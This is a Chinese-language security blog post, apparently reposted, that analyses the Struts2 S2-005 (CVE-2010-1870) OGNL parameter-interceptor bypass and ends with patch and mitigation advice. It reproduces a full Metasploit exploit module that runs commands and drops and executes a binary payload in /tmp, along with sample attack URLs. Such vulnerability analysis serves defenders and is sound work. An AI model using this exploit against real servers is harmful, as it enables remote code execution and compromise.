码迷,mamicode.com
首页 > 其他好文 > 详细

struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

时间:2015-06-29 21:53:46      阅读:356      评论:0      收藏:0      [点我收藏+]

标签:

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Description

XWork是一个命令模式框架,用于支持Struts 2及其他应用  
在Atlassian Fisheye,Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单,远程攻击者可以借助

1. #context
2. #_memberAccess
3. #root
4. #this
5. #_typeResolver
6. #_classResolver
7. #_traceEvaluations
8. #_lastEvaluation
9. #_keepLastEvaluation和其他的OGNL上下文变量

以此来修改服务器端对象,并绕过ParameterInterceptors中的"#"保护机制

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://cve.scap.org.cn/CVE-2010-1870.html
http://www.securityfocus.com/bid/41592/info


2. Effected Scope

VMWare vCenter Orchestrator 4.1
VMWare vCenter Orchestrator 4.0
OpenSymphony XWork 2.1.5 
OpenSymphony XWork 2.1 
OpenSymphony XWork 2.0.6 
OpenSymphony XWork 2.0.5 
OpenSymphony XWork 2.0.4 
OpenSymphony XWork 2.0.3 
OpenSymphony XWork 2.0.2 
OpenSymphony XWork 2.0.1 
Cisco Unified Contact Center Enterprise 0
Atlassian Fisheye 2.3.4 
Atlassian Fisheye 2.2.3 
Atlassian Crucible 2.3.2 
Atlassian Crucible 2.2.3 
Apache Software Foundation Struts 2.1.8 .1
Apache Software Foundation Struts 2.1.8 
Apache Software Foundation Struts 2.1.1 
Apache Software Foundation Struts 2.1 
Apache Software Foundation Struts 2.0.12 
Apache Software Foundation Struts 2.0.11 .2
Apache Software Foundation Struts 2.0.11 .1
Apache Software Foundation Struts 2.0.9 
Apache Software Foundation Struts 2.0.8 
Apache Software Foundation Struts 2.0.7 
Apache Software Foundation Struts 2.0.6 
Apache Software Foundation Struts 2.0.5 
Apache Software Foundation Struts 2.0.4 
Apache Software Foundation Struts 2.0.3 
Apache Software Foundation Struts 2.0.2 
Apache Software Foundation Struts 2.0.1 
Apache Software Foundation Struts 2.0 
Apache Software Foundation Archiva 1.3.4 
Apache Software Foundation Archiva 1.3.3 
Apache Software Foundation Archiva 1.3.1 
Apache Software Foundation Archiva 1.3.5
Apache Software Foundation Archiva 1.3


3. Exploit Analysis

##
# $Id: struts_code_exec.rb 13584 2011-08-19 05:52:09Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require msf/core

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            Name           => Apache Struts < 2.2.0 Remote Command Execution,
            Description    => %q{
                    This module exploits a remote command execution vulnerability in 
                Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
                handle unicode characters in OGNL extensive expressions passed to the web server.
                
                    By sending a specially crafted request to the Struts application it is possible to
                bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. 
                Bypassing this restriction allows for the execution of arbitrary Java code.
            },
            Author         =>
                [
                    bannedit, # metasploit module
                    Meder Kydyraliev, # original public exploit
                ],
            License        => MSF_LICENSE,
            Version        => $Revision: 13584 $,
            References     =>
                [
                    [ CVE, 2010-1870],
                    [ OSVDB, 66280],
                    [ URL, http://www.exploit-db.com/exploits/14360/ ],
                ],
            Platform      => [ win, linux],
            Privileged     => true,
            Targets        =>
                [
                    [Windows Universal,
                        {
                                Arch => ARCH_X86,
                                Platform => win
                        }
                    ],
                    [Linux Universal,
                        {
                                Arch => ARCH_X86,
                                Platform => linux
                        }
                    ],
                ],
            DisclosureDate => Jul 13 2010,
            DefaultTarget => 0))

            register_options(
                [
                    Opt::RPORT(8080),
                    OptString.new(URI, [ false, The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action, nil ]),
                    OptString.new(CMD, [ false, Execute this command instead of using command stager, "" ])
                ], self.class)
    end

    def execute_command(cmd, opts = {})
        uri =  Rex::Text::uri_encode(datastore[URI])
        var_a = rand_text_alpha_lower(4)
        var_b = rand_text_alpha_lower(2)
        var_c = rand_text_alpha_lower(4)
        var_d = rand_text_alpha_lower(4)
        var_e = rand_text_alpha_lower(4)
        
        uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
        uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
        uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target[Platform] == win
        uri << "(asdf)((‘\\u0023rt.exec(\"CMD\".split(\"@\"))‘)(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target[Platform] == linux
        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
        puts uri
        vprint_status("Attemping to execute: #{cmd}")

        resp = send_request_raw({
            uri     => uri,
            version => 1.1,
            method  => GET,
        }, 5)
    end

    def windows_stager
        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

        print_status("Sending request to #{datastore[‘RHOST‘]}:#{datastore[‘RPORT‘]}")
        execute_cmdstager({ :temp => .})
        @payload_exe = payload_exe

        print_status("Attempting to execute the payload...")
        execute_command(@payload_exe)
    end

    def linux_stager
        cmds = "/bin/sh@-c@echo LINE | tee FILE"
        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
        base64 = Rex::Text.encode_base64(exe)
        base64.gsub!(/\=/, "\\u003d")
        file = rand_text_alphanumeric(4+rand(4))

        execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
        base64.each_line do |line|
            line.chomp!
            cmd = cmds
            cmd.gsub!(/LINE/, line)
            execute_command(cmds)
        end

        execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
        execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
        execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

        execute_command("/bin/sh@-c@/tmp/#{file}")
        @payload_exe = "/tmp/" + file
    end

    def on_new_session(client)
        if target[Platform] == linux
            print_status("deleting #{@payload_exe} payload file")
            execute_command("/bin/sh@-c@rm #{@payload_exe}")
        else
            print_status("Windows does not allow running executables to be deleted")
            print_status("delete the #{@payload_exe} file manually after migrating")
        end
    end

    def exploit
        if not datastore[CMD].empty?
            print_status("Executing user supplied command")
            execute_command(datastore[CMD])
            return
        end

        case target[Platform]
            when linux
                linux_stager
            when win
                windows_stager
            else
                raise RuntimeError, Unsupported target platform!
        end

        handler
    end
end

Relevant Link:

http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb


4. Principle Of Vulnerability

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL的处理方式如下

user.address.city=Bishkek&user[favoriteDrink]=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能

1. Method calling: foo()  
2. Static method calling: @java.lang.System@exit(1)  
3. Constructor calling: new MyClass()  
4. Ability to work with context variables: #foo = new MyClass()  
5. And more...  

由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行

1. OgnlContexts property xwork.MethodAccessor.denyMethodExecution (缺省为true)  
2. SecurityMemberAccess private field called allowStaticMethodAccess (缺省为false)  

但这两个方法可以被覆盖,从而导致代码执行

#_memberAccess[allowStaticMethodAccess] = true  
#foo = new java .lang.Boolean("false")  
#context[xwork.MethodAccessor.denyMethodExecution] = #foo  
#rt = @java.lang.Runtime@getRuntime()  
#rt.exec(mkdir /tmp/PWNED)

ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的

1. #context - OgnlContext, the one guarding method execution based on xwork.MethodAccessor. denyMethodExecution property value.  
2. #_memberAccess - SecurityMemberAccess, whose allowStaticAccess field prevented static method execution.  
3. #root  
4. #this  
5. #_typeResolver  
6. #_classResolver  
7. #_traceEvaluations  
8. #_lastEvaluation  
9. #_keepLastEvaluation

可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload

http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\‘allowStaticMethodAccess\‘]‘)(meh)=true&(aaa)((‘\u0023context[\‘xwork.MethodAccessor.den  
yMethodExecution\]\u003d\u0023foo)(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)((\u0023rt.exit(1))(\u0023rt\u003d@java.lang.Runtime@getRunti  
me()))=1 

Relevant Link:

http://book.51cto.com/art/201204/330087.htm


5. Patch Fix

0x1: upgrade struts2

As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.

0x2: Mitigation Workaround

Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:

<interceptor-ref name="params">
    <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

 

Copyright (c) 2015 Little5ann All rights reserved

 

struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/4606891.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!